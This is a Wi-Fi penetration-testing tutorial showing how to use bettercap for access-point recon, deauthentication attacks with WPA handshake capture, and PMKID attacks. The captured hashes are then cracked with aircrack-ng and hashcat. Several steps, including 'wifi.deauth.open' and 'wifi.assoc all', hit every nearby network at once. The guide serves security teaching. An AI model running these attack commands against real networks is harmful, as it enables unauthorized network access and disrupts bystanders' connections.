Wireless Penetration Testing: Bettercap

Introduction

According to its official repository here, bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an easy to use, all-in-one solution with all the features they might possibly need for performing reconnaissance and attacking WiFi networks, Bluetooth Low Energy devices, wireless HID devices and Ethernet networks. In this article, we’d be seeing how to use bettercap to aid with Wi-Fi pentesting.

 

Table of Content

1.      Installation

2.      Monitor mode and discovery

3.      Sorting filters

4.      Deauth attack using bettercap

5.      PMKID attack using bettercap

Installation

To install bettercap, we’d use:

apt install bettercap

After getting installed, we can see the main menu by typing in:

bettercap

 

Now to navigate your way around this tool for all the Wi-Fi testing related options, the help page is available at

help wifi

Now, This tool requires an older version of the pcap library so, we’ll first download that using wget.

wget http://old.kali.org/kali/pool/main/libp/libpcap/libpcap0.8_1.9.1-4_amd64.deb

dpkg -i libpcap0.8_1.9.1-4_amd64.deb

 

 

Monitor Mode and Wi-Fi discovery

Monitor mode is a promiscuous mode for your IEEE802.11x receiver (aka Wi-Fi adapter or Wi-Fi NIC) and lets you capture signals from not only your access point but others as well. To put your Wi-Fi adapter in promiscuous mode:

bettercap -iface wlan0mon

To start discovering Access Points around you:

wifi.recon on

Sorting filters

Often times knowing the vendor of an access points aid us in checking access point against known vulnerabilities. To do this we can use the following command:

set wifi.show.manufacturer true

wifi.show

As you can see we are now able to see a majority of the manufacturers of access point around me. Now what if I want to see the access points in a descending order of the clients connected to it. As we already know that deauth attacks works on APs with clients to capture a handshake and hence, having more clients catalyses the capture process. So, for that we have:

set.wifi.show.sort clients desc

wifi.show

As you can see the APs have arranged themselves in descending order of number of clients connected.

Let’s do the same with ESSID too and arrange it in ascending order.

set.wifi.show.sort essid asc

wifi.show

Here, you can see hidden SSIDs popping up too. The angular bracket is taken in consideration before A-Z as it is a special symbol.

Now what if we want to limit the results to only, lets say, top 3? To do this:

set wifi.show.limit 3

wifi.show

And we’ve limited the result to only top 3. Now, let’s send deauthentication packets to open networks. Open networks are those which aren’t protected by a passphrase.

set wifi.deauth.open true

Here, we can see that clients from 2 APs have been deauthenticated.

 

Deauth attacks using Bettercap

We have already seen how to recon, sort and filter. Let’s conduct a short deauth attack on an access point.

First put your wifi adapter in monitor mode

Now, we’ll first put up the list of APs found:

events.stream off

wifi.show

events.stream is a logging feature in bettercap that shows logs, new hosts being found, etc. By default, it is enabled but to give a clear output we can turn it off.

Now, we’ll attack on AP “raaj.”

set wifi.recon.channel 5

set net.sniff.verbose true

set net.sniff.filter ether proto 0*888e

set net.sniff.output wifi.pcap

set net.sniff on

wifi.deauth 18:45:93:69:a5:19

events.stream on

 

It is operating on channel 5 and we’d first put our adapter to listen on channel 5.

By setting sniff.verbose to true, every captured and parsed packet will be sent to the events.stream for displaying.

Next, the net.sniff.filter ether proto 0*888e sets the sniffer to capture EAPOL frames. 0*888e is the standard code for EAPOL (IEEE 802.11X frames).

Output file is set to wifi.pcap

net.sniff on turns the bettercap sniffer on

wifi.deauth starts sending deauth packets to the specified MAC ID (BSSID) of the access point

events.stream on turns the logging on and now bettercap will run in verbose mode.

 

As you can see, the client has reauthenticated after being deauthenticated by bettercap and a handshake has been captured

Now, we’ll use aircrack-ng to crack hashes captured in this handshake file. We’ve already written an article on aircrack-ng for your reference here.

aircrack-ng bettercap-wifi-handshakes.pcap -w /root/dict.txt

 

Here, dict.txt is a long password file containing the most commonly used passwords and passwords I generated given the knowledge I have about my target.

And just like that, we have cracked the Wi-Fi passphrase of “raaj.”

 

PMKID Attack using Bettercap

We’ve discussed in detail about PMKID and PMKID attack in this article here. Now, let’s see a small tutorial where bettercap can be used to conduct PMKID attack.

bettercap

set wifi.interface wlan0mon

wifi.recon on

Let’s see the target APs available

wifi.show

For PMKID attack to work we have to send an association request to the target Access Point. We do this with:

wifi.assoc <BSSID>

As we can see, we have successfully received the RSN frame containing PMKID and it has been saved in a pcap format. What is I want to send an association request to all the Wi-Fis available. To do that the command is:

wifi.assoc all

And yes, all the vulnerable routers returned the RSN frame containing PMKID and it got saved in a pcap file.

Now we can use the hcxpcaptool to convert this pcap file in Hashcat crackable format and use Hashcat to crack the PMK hash.

hcxpcaptool -z hashpmkid bettercap-wifi-handshakes.pcap

hashcat -m 16800 --force hashpmkid /usr/share/wordlists/rockyou.txt --show

 

Here, 16800 is the code for PMKID WPA/WPA2 hash type. We have used rockyou dictionary here.

And it’s so simple. Bettercap is a sniffer with many other such functionalities beside Wi-Fi packet sniffing. We hope that this article helped you in developing opinions about tools available in the market today and forging your own Wi-Fi security audit toolkit. Thanks for reading. Have a nice day.